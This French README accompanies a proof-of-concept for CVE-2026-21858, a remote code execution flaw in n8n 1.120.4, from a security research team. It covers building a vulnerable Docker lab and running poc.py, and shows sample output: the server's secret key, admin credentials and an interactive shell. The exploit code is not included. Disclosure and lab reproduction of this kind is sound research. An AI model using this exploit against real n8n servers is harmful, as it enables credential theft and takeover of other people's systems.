CVE-2026-21858 RCE

Environnement PoC pour n8n 1.120.4 avec un workflow Form Trigger et un script d'exploit.

Prérequis

• Docker (Docker Desktop sous Windows)
• Python 3.x (côté attaquant)

Fichiers

• Dockerfile — construit l'environnement n8n vulnérable
• run.bat — lance le conteneur (Windows)
• workflow.txt — workflow n8n (inclut le Form Trigger)
• poc.py — script PoC
• requirements.txt — dépendances du PoC

Configuration de l'environnement

1. Construire l'image Docker

docker build -t n8n-vuln:1.120.4 .

2. Lancer l'environnement (Windows)

run.bat

3. Configuration de n8n

1. Ouvrir n8n dans le navigateur
2. Se connecter en tant que admin
3. Créer un nouveau workflow
4. coller workflow.txt
5. Activer le workflow
6. Copier l'URL du Form Trigger

Preuve de concept (PoC)

1. Installer les dépendances (côté attaquant)

pip3 install -r requirements.txt

2. Lancer l'exploit

python3 poc.py

• Coller l'URL du Form Trigger lorsque demandé.

Résultat attendu

• Le PoC extrait des ressources sensibles de n8n (par ex. FINAL_SECRET_KEY, identifiants admin) depuis la cible.
• Une invite de shell interactive (n8n-shell>) est fournie.
• L'exécution d'une commande (par ex. id) renvoie la sortie de l'environnement cible (RCE).

Exemple de sortie

[+] Success: SECRET_KEY = "..."
[+] Success: admin_id = "..."
[+] Success: admin_hash = "..."

=== n8n Shell Ready ===
n8n-shell> id

[!] 'id' Result:
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------

EQST Insight

Nous publions une analyse de CVE et de malware une fois par mois. Si cela vous intéresse, veuillez suivre les liens ci-dessous pour consulter nos publications.

• KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
• EN : https://www.skshieldus.com/en/report?tab=eqst